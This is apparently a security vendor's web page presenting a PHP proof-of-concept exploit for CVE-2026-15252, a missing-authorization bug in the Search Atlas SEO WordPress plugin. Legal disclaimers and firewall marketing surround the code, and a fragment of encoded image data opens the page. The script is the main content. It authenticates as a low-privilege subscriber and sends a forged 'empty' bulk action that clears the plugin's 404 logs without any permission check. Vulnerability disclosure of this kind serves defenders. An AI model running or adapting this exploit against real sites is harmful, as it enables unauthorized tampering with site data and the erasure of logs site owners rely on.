DE0LjcwMjZDMTUuMjMwMSAwIDE1LjcxMTggMC4xNTczMTkgMTYuMTI0OCAwLjQ0OTQ3NkMxNi40NDU5IDAuNjc0MjA2IDE2LjY3NTMgMC45NjYzOCAxNi44NTg4IDEuMzAzNDhDMTYuOTA0OCAxLjM0ODQzIDE2LjkyNzcgMS4zOTMzNyAxNi45NzM1IDEuNDYwOEMxNy4yNzE4IDEuNzMwNDggMTcuNTI0IDIuMDIyNjQgMTcuNjg0NyAyLjQyNzE3Wk0zLjY0NTkyIDEyLjU4NTRWMTIuNjA3OEgzLjg5ODI1TDMuOTIxMiAxMi40MjhIMy42Njg4N0wzLjY0NTkyIDEyLjU2MjhDMy42MjI5OSAxMi41NjI4IDMuNjIyOTkgMTIuNTg1NCAzLjY0NTkyIDEyLjU4NTRaTTQuOTk5MzMgNi41NjIzNUg1LjIwNTc4TDUuMjc0NjEgNi4zMTUxNEg0Ljk1MzQ1TDQuOTA3NTggNi40NDk5N0M0LjkwNzU4IDYuNDk0OTIgNC45MDc1OCA2LjUxNzQgNC45MzA1MSA2LjUzOTg3QzQuOTUzNDUgNi41NjIzNSA0Ljk3NjQgNi41NjIzNSA0Ljk5OTMzIDYuNTYyMzVaTTEuNzQxOTcgNi4yNzAxN0MxLjY1MDIzIDYuNjc0NyAxLjY1MDIzIDcuMDU2NzcgMS43MTkwNCA3LjM5Mzc5TDEuNzQxOTcgNy4yMzY1NUMxLjc2NDkyIDcuMDExODEgMS43ODc4NiA2LjgwOTU2IDEuODMzNzQgNi41ODQ4MUwyLjU0NDg0IDMuNTI4MzlDMi42ODI0OSAyLjk2NjU0IDIuOTM0ODIgMi40NDk2NSAzLjMwMTg1IDEuOTc3NjlDMy4zNDc3MSAxLjkzMjc0IDMuMzcwNjYgMS44ODc4IDMuMzkzNTkgMS44NDI4NUwzLjQ2MjQxIDEuOTEwMjhDMy44MDY1IDEuNDgzMjcgNC4xOTY0NiAxLjE0NjE2IDQuNjc4MTkgMC44OTg5NTNDNS4xODI4NCAwLjYyOTI2IDUuNjg3NSAwLjQ5NDQyMyA2LjIxNTA2IDAuNDk0NDIzSDE0Ljk3NzlDMTUuMTg0MyAwLjQ5NDQyMyAxNS4zOTA3IDAuNTE2OTA0IDE1LjU5NzEgMC41NjE4NUwxNS42MiAwLjQ5NDQyM0MxNS43MzQ5IDAuNTE2OTA0IDE1Ljg0OTUgMC41NjE4NSAxNS45NjQyIDAuNjA2Nzk2QzE1LjU5NzEgMC4zNTk1ODUgMTUuMTg0MyAwLjI0NzIxMSAxNC43MDI2IDAuMjQ3MjExSDUuOTYyODNDNS40NTgxMiAwLjI0NzIxMSA0Ljk1MzQ1IDAuMzU5NTg0IDQuNDcxNzQgMC42MjkyNkMzLjk2NzA3IDAuODk4OTUzIDMuNTU0MTcgMS4yNTg1NCAzLjE4NzE1IDEuNzA4MDFDMi44NDMwNSAyLjE3OTk1IDIuNTkwNzIgMi42NzQzOCAyLjQ3NjAzIDMuMTkxMjhMMS43NDE5NyA2LjI3MDE3Wk0xMi4yNzEgMTIuNDI4SDQuMTczNTNMNC4xMjc2NSAxMi42MDc4SDcuNzI5MVYxMi42NzUySDEyLjU2OTJDMTIuNTkyMSAxMi42NzUyIDEyLjYxNSAxMi42NTI3IDEyLjY2MSAxMi42MzAzQzEyLjY4MzkgMTIuNjA3OCAxMi43MDY4IDEyLjU2MjggMTIuNzA2OCAxMi41NDAzTDEyLjg0NDUgMTEuODIxMkwxMy4wNTEgMTAuNjc1QzEzLjA3MzkgMTAuNjMgMTMuMDUxIDEwLjYwNzcgMTMuMDI4MSAxMC41ODUxQzEzLjAwNSAxMC41NjI3IDEyLjk4MjEgMTAuNTYyNyAxMi45NTkyIDEwLjU2MjdIMTIuODQ0NUwxMi41MjMzIDEyLjIwMzJDMTIuNTIzMyAxMi4yNDgyIDEyLjUwMDQgMTIuMzE1NiAxMi40MzE3IDEyLjM2MDZDMTIuMzg1NyAxMi40MDU1IDEyLjMxNjggMTIuNDI4IDEyLjI3MSAxMi40MjhaTTQuMDM1OSAxMS45NTZIMy43NjA2MkwzLjcxNDc0IDEyLjIwMzJIMy45NjcwN0w0LjAzNTkgMTEuOTU2Wk0wLjI5NjgxNyAxMi4zNjA2QzAuMjA1MDY5IDEyLjc2NTEgMC4yMDUwNyAxMy4xNjk2IDAuMjczODg2IDEzLjUyOTJMMC4zMTk3NSAxMy4zM

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15252 - Search Atlas SEO - Missing Authorization

// Configuration: Set the target WordPress URL and credentials for a subscriber-level user.
$target_url = 'http://your-wordpress-site.com';
$username = 'subscriber_username';
$password = 'subscriber_password';

// Step 1: Authenticate as a subscriber user.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-15252-cookies.txt'); // Store cookies
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects after login
$response = curl_exec($ch);
curl_close($ch);

// Check if login was successful (a redirect to wp-admin indicates success).
if (strpos($response, 'wp-admin') === false) {
    die("[!] Login failed. Check credentials.n");
}
echo "[+] Logged in as subscriber.n";

// Step 2: Craft the malicious request to trigger the 404 log clearing.
// The vulnerability is in the 404 monitor's table processing. We can trigger the 'empty' action.
$admin_page_url = $target_url . '/wp-admin/admin.php?page=metasync-404-monitor'; // The exact page slug; adjust if needed.

// The bulk action is triggered via POST data to the admin page.
$post_data = array(
    'action' => 'empty', // Trigger the 'empty' bulk action to clear all logs.
    'page' => 'metasync-404-monitor', // Matching the page parameter.
    'item' => array() // Empty item array; the vulnerable code doesn't validate this.
);

$ch = curl_init($admin_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-15252-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Verify the outcome.
// The vulnerability allows the action to go through without a nonce or permission check.
// A successful exploit typically results in a 200 redirect or a page render without the log entries.
if ($http_code == 200) {
    echo "[+] Exploit request sent successfully (HTTP 200).n";
    echo "[+] If logs were present, they may have been cleared. Check the 404 monitor page for confirmation.n";
} else {
    echo "[!] Exploit request failed with HTTP code: " . $http_code . "n";
    echo "[+] This might indicate the vulnerability was patched or the page slug is incorrect.n";
}

echo "[+] PoC execution completed.n";

// Clean up cookies file.
unlink('/tmp/cve-2026-15252-cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.